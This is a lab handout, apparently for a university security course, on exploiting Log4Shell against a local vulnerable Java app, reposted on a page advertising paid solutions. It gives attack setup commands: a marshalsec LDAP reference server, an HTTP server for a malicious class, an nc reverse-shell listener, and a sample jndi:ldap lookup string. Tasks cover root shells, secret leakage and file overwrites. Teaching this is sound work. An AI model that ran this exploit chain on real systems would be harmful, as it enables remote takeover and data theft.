Summer 2026 SOLUTION LINK click here
Spring2026 SOLUTION LINK click here
FALL2025 SOLUTION LINK click here
SPRING2025 SOLUTION VIEW HERE
FALL2024 SOLUTION VIEW HERE
SUMMER2024 SOLUTION CLICK HERE
2024 Solution link : click here
Learning Goals of this Project:
Students will learn about a real world critical Java exploit Log4Shell
(https://nvd.nist.gov/vuln/detail/CVE-2021-44228 and https://www.randori.com/blog/cve-2021-44228/). This lab develops an understanding of sending malicious Java payloads via jndi/ldap lookups to exploit a vulnerable java application that uses a Log4j logger. A simple LDAP library will be used to assist students complete this lab.
THIS IS A REAL WORLD CRITICAL VULNERABILITY THAT MOST
VENDORS HAVE PATCHED BUT THERE STILL COULD BE
APPLICATIONS WITHOUT THE PATCH. THIS PROJECT IS FOR
EDUCATIONAL PURPOSES ONLY. ATTEMPTING THIS ON REAL APPLICATIONS COULD PUT YOU IN VIOLATION OF THE LAW AND GEORGIA TECH IS NOT RESPONSIBLE.
The final deliverables:
A single JSON formatted file will be submitted to Gradescope. This file should be named project_log4shell.json. A template can be found in the Home directory. See Submission Details for more information
Important Reference Material:
- Project Introduction (Might not match the project requirements exactly) This simple LDAP server that will be used to run the exploit.
- This Log4JExploit Intro and How Log4Shell Works to familiarize yourself with the exploit and how it is accomplished.
- If you have no experience in Java, Log4j/logging, RESTful applications, JNDI, LDAP, we STRONGLY encourage you to do research into the topics. There are many great resources online like Google and YouTube.
- Log4J Documentation
- Hands on Introduction to Log4Shell exploit in general (not this project but helpful)
- Helpful Linux Networking Commands
- NCAT Command
- https://securityblue.team/log4j-hunting-and-indicators/
- If you would like to learn more about this exploit and Java Object Deserialization Vulnerabilities this paper written by Moritz Bechler is an excellent research paper: Java
Unmarshaller Security and so is this BlackHat presentation: A JOURNEY FROM
JNDI/LDAP MANIPULATION TO REMOTE CODE EXECUTION DREAM LAND
Submission:
Gradescope (autograded) β see Submission Details
Virtual Machine:
(Note: downloads can be very slow when project first releases due to very high traffic in first few hours/day)
- Apple M1 based systems
- You cannot complete this project on an M1 based system. β Intel/AMD x64 version
- Windows Virtualbox 1.16 Download
- Mac VirtualBox 1.16 Download (for Intel Macs only)
- Same as Project Capture the flag or VM Download
- Username: log4j, Password: konami-code. You will need to log out of the user for the previous CTF project and log in to the log4j user.
BACKGROUND
Log4J is a very popular open-source framework that allows application developers to log important messages such as program flow, program state, exceptions, etc. These messages can include user input, dynamic data, database results, etc.
Java Naming and Directory Interface (JNDI) creates a way for Java Objects to be looked up at runtime. There are many directory interfaces that provide different ways to lookup files. A common example is a database connection pool so that applications deployed on a server can get the connections they need by only needing to know the JNDI name instead of having to have the connection details. You can use Java Serialization to store the byte array representation of an object to store objects in a directory/naming service. JNDI uses Naming References if the object is too large such as βldap://server/locationβ
Where this comes into play in this exploit, is the Lightweight Directory Access Protocol (LDAP) which is not specific to Java. LDAP provides the communication language that is required to receive and send information from directory services. It can be used for authentication like sending usernames/passwords or retrieving object data through a url from another server.
To tie this into Log4J, Log4J performs lookups which allow for string substitution of certain strings. These are in the form of ${prefix:name} i.e. a common one would be ${java:runtime} and running this would produce βRunning Java version 1.8.0_20β. Here is where the JNDI and LDAP come into play. ${jndi:<lookup>} is a valid lookup expression recognized by the lookup by Log4J.
A malicious user could specify a valid lookup protocol such as LDAP, RMI, or DNS in the JNDI lookup and direct the Log4J lookup to their malicious server/file. An example could be ${jndi:ldap://cs6035.com/exploitfile} which would load data from that domain if a connection can be established. Attackers can even get environment variables if RCE is disabled and learn about the server/server environment. Often, HTTP requests log header information, query parameters, path parameters, and more which allow a vector for this attack to take place. With this background, now we are ready to start this lab.
Here is a visual of the Log4j exploit and how it is accomplished (you can zoom in if this is too small via ctrl + scroll):
SETUP
To get setup for the flags, follow the steps carefully below, and be sure you are running each in a separate terminal window as noted.
You will need switch users to login to log4j user via:
| Username: log4j | Password: konami-code |
In the home directory of log4j user, start the container with the start script:
sudo ./StartContainer.sh
Open a new terminal window and go to βDesktop/log4shell/logsβ:
cd Desktop/log4shell/logs
Run the following command to view the logs:
tail -f cs6035.log
You should now see the tail of the log file from the application running.
*****If the logs stop populating, then just stop and restart the tail. This is happening because the data logged gets too large so the log βrolls overβ to another file.*******
- Run the LDAP Server:
Open a new terminal window and run the following command to set the current directory to βDesktop/log4shell/targetβ:
cd ~Desktop/log4shell/target
Next, start the LDAP server by running:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer βhttp://127.0.0.1:4242/#Exploitβ
**You can get the ip address of the vm by running βip addr showβ in a terminal**
***127.0.0.1:4242 is the vmβs <IP:PORT>***
****It is very important that this matches the port specified in the Malicious server. If your exploit is not working because it is not connecting to the malicious server, your ports likely do not match OR the vmβs IP is not correct**** You should see the following output:
- Run the Malicious Server:
Open a new terminal and make sure the active directory is the directory that contains your malicious .class file. For simplicity, we have created βDesktop/log4shell/{flag_no}β for you to work in. Do not leave this directory. Run the server in βDesktop/log4shell/{flag_no}β by the following command:
python3 -m http.server 4242
***It is very important that this matches the port specified in the LDAP server. If your exploit is not working because it is not connecting to the malicious server, your ports likely do not match OR the vmβs IP is not correct***
You should see the following output:
- Read data that is flowing on the network (This step is required for Flag 2 but is optional for the rest) :
Open a terminal and run:
nc -nlvp <your_desired_port>
You should see the following output:
INTRO
Now that we are set up, letβs do a quick rundown of Log4j, how it works at a high level, and test that we are able to successfully call and exploit the application.
As you should know from the background and resourceβs section, Log4j is an application logging library that outputs user defined program information. An example log statement would look like the following:
static Logger log = LogManager.getLogger(RestServlet.class.getName()); log.debug(βApplicationId: {}β, applicationId);
The log statement above as you can see, defines the class, log level of the message and the actual message. Notice that we are injecting user input into the log message. This is where our vulnerability is.
To be more specific, here is what the output of the message actually will look like:
Now we can map the code to the logged message. The date/time is defined in configuration files which are out of the scope of this project. Next is where our code starts to map. We have [Classname.java:LineNumber]. This is helpful to know exactly what part of your code is executing and where.
Next, we see DEBUG. This is what is called the log level. Log levels are used for the amount of output you want your application to log, or even to classify errors different from informative messages. The typical log levels are DEBUG, INFO, WARN, ERROR, FATAL. To further explain, if a log level is set to say ERROR, your application will not log anything on WARN, INFO, or DEBUG level. This application is set to DEBUG.
Finally, we get to the actual logged message. As you can see, we log the constant text as well as the injected variable applicationId, which is our applicationId. This is the most important part you will want to pay attention to. Throughout this project, you will try to find messages that log user defined input and inject your malicious string into it.
Now, letβs have some fun and get familiar with the application. To do so, we will call the application normally and then lookup the java version on the application server.
To start we can run a simple inquiry to the services /ping endpoint and see what we get back from the logs and see if we can find anything that is exploitable.
*****************GATECH_ID IS A REQUIRED HEADER***************
NOTE: This is not the Georgia Tech Username, it is the gtId that you can find on your Buzzcard or here: https://public.webapps.gatech.edu/cfeis/gtid/.
Open a new terminal and run:
curl βhttp://localhost:8080/rest/users/pingβ -H βGATECH_ID:123456789β
You should see your logs log some messages in the log tailing terminal window. Letβs inspect it.
Go back to the terminal window you are tailing the logs in. When the server intercepts a request, it logs βRequest interceptedβ to alert the user where the request starts. As we can see, there is not much going on in terms of useful information, but we can see the service did log a message that could be exploitable.
Voila! In the highlighted message, we see that it is logging the Method Type: GET, the URL: /rest/users/ping, and some headers that are null. This is a good indicator that we can exploit this service by sending lookups through a header.
Letβs call one more endpoint to see how headers work and what the application does when we request user data.
In your curl terminal, run the following command:
curl βhttp://localhost:8080/rest/users/userlistβ -H βGATECH_ID:123456789β -H βAccept:application/jsonβ -H βX-UserName:rcoleman8β
Your output should be similar to:
Take some time to inspect the logged messages and try to understand what the program is doing and the flow of it.
Lets try to get the java version on the server now.
The checked headers for this application are content-type, accept, and X-UserName.
Construct a malicious payload using one of the logged headers that will return the java version of the host of the web application. You should see something like the screenshot below if successful:
Do you see the same output? LIGHTWEIGHT BABY! Muahaha! If not, try to research the log4shell exploit more and learn how to exploit the lookup.
Our hunch was correct and we have successfully exploited the vulnerability. You can play around with this if you like and see what other lookups you can perform. It is possible to lookup system settings, environment variables and much more just with this.
Be sure to save your work outside of the VM in case the VM crashes or some other unforeseen issue arises. This will ensure you are not losing your work.
FLAG 1: Environment Echo (12.5 pts)
If you havenβt already, run the start script in the home directory of log4j user, start the container with the start script:
sudo ./startContainer.sh
The endpoint for this exploit can be called and inspected via:
curl βhttp://localhost:8080/rest/users/pingβ -H βGATECH_ID:123456789β -H βAccept:application/jsonβ
Now that you have seen how to check environment variables, run a lookup for
ADMIN_PASSWORD which stores your flag for this exercise. If successful, you should see the below output:
Add this flag (Congratulations! Your flag1 is: __________) to your project_log4shell.json file.
FLAG 2: Get a Shell (12.5 pts)
If you havenβt already, run the start script in the home directory of log4j user, start the container with the start script:
sudo ./startContainer.sh
The endpoint for this exploit can be called and inspected via:
curl βhttp://localhost:8080/rest/users/pingβ -H βGATECH_ID:123456789β -H βAccept:application/jsonβ
Now that we have proven this service is vulnerable and that we can exploit it in at least one place, letβs try to do more damage and do something more malicious. If you have not already, you NEED to read through the suggested readings and learn how/why it is possible to send jndi lookups.
Open the βExploit.javaβ file and construct a malicious payload to execute such that when the jndi/ldap lookup happens, it gives you root access on the vulnerable application server.
You should have a total of 4 terminal windows open which are the 3 from the SETUP section and one terminal window to run your curl command.
Once you are ready to run the exploit, ensure that the java version you are running the command is βjava version 1.8.0_20β by running:
java -version
To compile your .java file into a class file, move the the directory the .java file is stored in and run:
javac Exploit.java
We have added the ability to log from your Exploit.java file so that you can log useful debugging information while you are developing your exploit. To use the logger, uncomment the logging code (And imports) and compile using the following command:
This should create Exploit.class. Run your βpython3 -m http.server 4242β command in this directory.
NOTE: THIS PROJECT IS WRITTEN USING THE VULNERABLE VERSION OF 1.8.0_20. NOT ALL
VERSIONS OF JAVA ALLOW LOOKUPS AND YOU COULD SPIN YOUR WHEELS FOR AWHILE
NOT KNOWING WHY YOUR EXPLOIT IS NOT RUNNING IF YOU DO NOT FOLLOW THIS
DIRECTION.
Hint: Pay close attention to the ports you are using in this exercise.
If successful, you should see similar console output as the screenshot below:
With success, you should see this in the console output of the nc command. Now type βwhoamiβ and you should see βrootβ.
Did you get the screenshot above? Congratulations!
If not, keep trying and ensure all of your hosts/ports match. Analyze the screenshots and make sure yours matches. If you are not getting the ldap/python server output, you likely did not set up your hosts/ports correctly OR your Exploit.java file isnβt correct.
You now have root access to the vulnerable applicationβs server. YIKES! This is a great example why this exploit is so dangerous. You can perform any task on this server now. For now, go back 2 directories using βcd ..β and then run βjava -jar Flag2.jarβ to get your flag and add it to the json under βFlag2β.
FLAG 3: Bypass Authentication (15 pts)
If you havenβt already, run the start script in the home directory of log4j user, start the container with the start script:
sudo ./startContainer.sh
Now that you have gotten familiar with this environment and exploit, letβs try for another, more involved flag. We will try exploiting another URI:
http://localhost:8080/rest/users/userlist
This endpoint will deliver a list of valid users a program can choose from. It uses a very weak form of authentication that verifies a user is permitted by validating their user id that they send through the βX-UserNameβ header field.
The goal here is to use your gatech id number in the βX-UserNameβ header (in addition to the GATECH_ID header) and have the application validate successfully.
Example:
-H βX-UserName:123456789β
First Run:
curl βhttp://localhost:8080/rest/users/userlistβ -H βGATECH_ID:123456789β -H βAccept:application/jsonβ -H βX-UserName:rcoleman8β
and inspect the logged output. See if you can find anything that gives you a hint about how to exploit it/what you need to do to bypass the authentication.
Update Exploit.java to send a malicious payload that will bypass the endpointβs validation by sending your gatech id in the βX-Usernameβ header. How you will bypass authentication can be found by analyzing the applications logged output. Follow the steps in the SETUP/INTRO section to run your exploit.
Upon success, you will see the output below, where the blacked out AuthorizedUsers is your UserId and your flag is right below it..
Hint: Someone might have tried to roll their own patch and tried to deny requests containing malicious string patterns.
*********IF THIS FLAG COMES OUT BLANK, Restart container by running the stopContainer and startContainer scripts in the home directory of the log4j user.***********
FLAG 4: Infiltrate the Admin Users (15 pts)
You have caught wind that this service caches database authorized usersβ data in a file on the file system. Other applications use this service to get usersβ data to cache and allow anyone who is an authorized user to access them. You understand how terrible of an idea this is and realize you are going to make them pay for dumb ideas.
For this flag, you are going to bypass authentication (run Flag 3 again) and then UPDATE the UsersList.txt on the server to add your GaTech student Id to replace one of the usersβ names. Do not delete any of the users as the service checks to make sure that they are all there and you do not want to get caught. You should also keep the userβs id you overwrite intact. For example, if you decide you want to overwrite user(1,βTim Cookβ,βCEOβ), it should be updated to user(1,βyour_gatech_idβ,βCEOβ).
If you havenβt already, run the start script in the home directory of log4j user, start the container with the start script:
sudo ./startContainer.sh
Run
curl βhttp://localhost:8080/rest/users/user/?userId=1β -H βGATECH_ID:123456789β -H βX-UserName:rcoleman8β
and inspect the logged output. See if you can find anything that gives you a hint about how to
exploit it/what you need to do to bypass the authentication.
If successful, your flag will be stored in the response value objectβs name like the screenshot below:
Hint: You might have to run more than one LDAP and have more than one Exploit file.
*********IF THIS FLAG COMES OUT BLANK, Restart container by running the stopContainer and startContainer scripts in the home directory of the log4j user.***********
FLAG 5: Command and Concat (20 pts)
If you havenβt already, run the start script in the home directory of log4j user, start the container with the start script:
sudo ./startContainer.sh
The endpoint for this exploit can be called and inspected via:
curl βhttp://localhost:8080/rest/users/user/updateuserβ -H βGATECH_ID:123456789β -H βContent-Type:application/jsonβ -H
βX-UserName:rcoleman8β βdata-raw β{βidβ: 1,βnameβ: βUser Nameβ,βprofessionβ: βUser Professionβ}β
Your output should look like this:
Take some time to inspect this output and see what you need to exploit.Yes the exception is expected and maybe even a clue above it π
For this flag, you will construct a malicious file (Exploit.java) and compile it, so that when deserialized it will create a simple β.txtβ file on the server to get the flag. Using the log4shell exploit, create a file named βFlag5.txtβ on the server and add ONE line that says βLightWeightBaby!β. If you do not follow this exactly, you will not get this flag.
Upon success, you will see the output below. (You might have to scroll for this)
*********IF THIS FLAG COMES OUT BLANK, Restart container by running the stopContainer and startContainer scripts in the home directory of the log4j user.***********
FLAG 6: PubSub Override (20 Pts)
If you havenβt already, run the start script in the home directory of log4j user, start the container with the start script:
sudo ./startContainer.sh
For this flag, we will exploit a previous endpoint that publishes updates to a topic on the server.
curl βhttp://localhost:8080/rest/users/user/updateuserβ -H βGATECH_ID:123456789β -H βContent-Type:application/jsonβ-H
βX-UserName:rcoleman8β βdata-raw β{βidβ: 1,βnameβ: βUser Nameβ,βprofessionβ: βUser Professionβ}β
You have caught wind that the service reads from a properties file.
For this exploit, you will use the log4j exploit to overwrite the βconfig.propertiesβ file saved in the root directory of the application. This properties file contains a topic that the application will publish a message to when updateUser call is made (the application is also subscribed to this topic as you can see in the logs).
You will need to trick the application into publishing a message to a different topic with your GATECH_ID as the account number in order to generate a valid flag.
Hint: Look through the cs6035.log to find clues about what this other topic could be.
Upon success, you should see your output similar to that below:
Your flag could be invalid if you have not sent your GATECH_ID appropriately in the published message.
Submission Details:
File submission instructions:
This project needs to be submitted via gradescope. Navigate to the course in Canvas, click βGradescopeβ, click βProject Log4Shellβ and submit there.
This is an autograded project. You will have unlimited submissions with instant feedback. Your Gradescope grade will be your final grade.
The contents of the submission file should be the following. There is a ~/project_log4shell.json file in your vm with a template set up, or you can copy-paste this to your newly created project_log4shell.json file elsewhere and replace the placeholders with the flags you retrieve from each relevant task.
Note: You can use TextEdit or Vim to create and edit this file. Do not use LibreOffice or any Word Document editor. It must be in proper JSON format with no special characters in order to pass the autograder and these Word Document editors are likely to introduce special characters.
If you canβt find the file in the VM just copy this format below:
| {
βflag1β: β<copy flag 1 here>β, βflag2β: β<copy flag 2 here>β, βflag3β: β<copy flag 3 here>β, βflag4β: β<copy flag 4 here>β, βflag5β: β<copy flag 5 here>β, βflag6β: β<copy flag 6 here>β } |
An example of what the submitted file content should look like:
{
βflag1β:
β4ec60c3e084d8387f0f33916e9b08b99d5264a486c29130dd4a5a530b958c5c0f1faeaca2ce30b478281ec546a 4729f629b531a86cb27d86c089f0c542β, βflag2β:
βf496d9514c01e8019cd2bc21edfeb8e33f4a29af14a8bf92f7b3c14b5e06c5c0f1faeaca2ce30b478281ec546a 4729f629b531a86cb27d86c089f0c442β, βflag3β:
βb621bba0bb535f2f7a222bd32994d3875bcfcad651160c543de0a01dbe2e0c5c0f1faeaca2ce30b478281ec546 a4729f629b531a86cb27d86cf0c49542β,
β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦
}









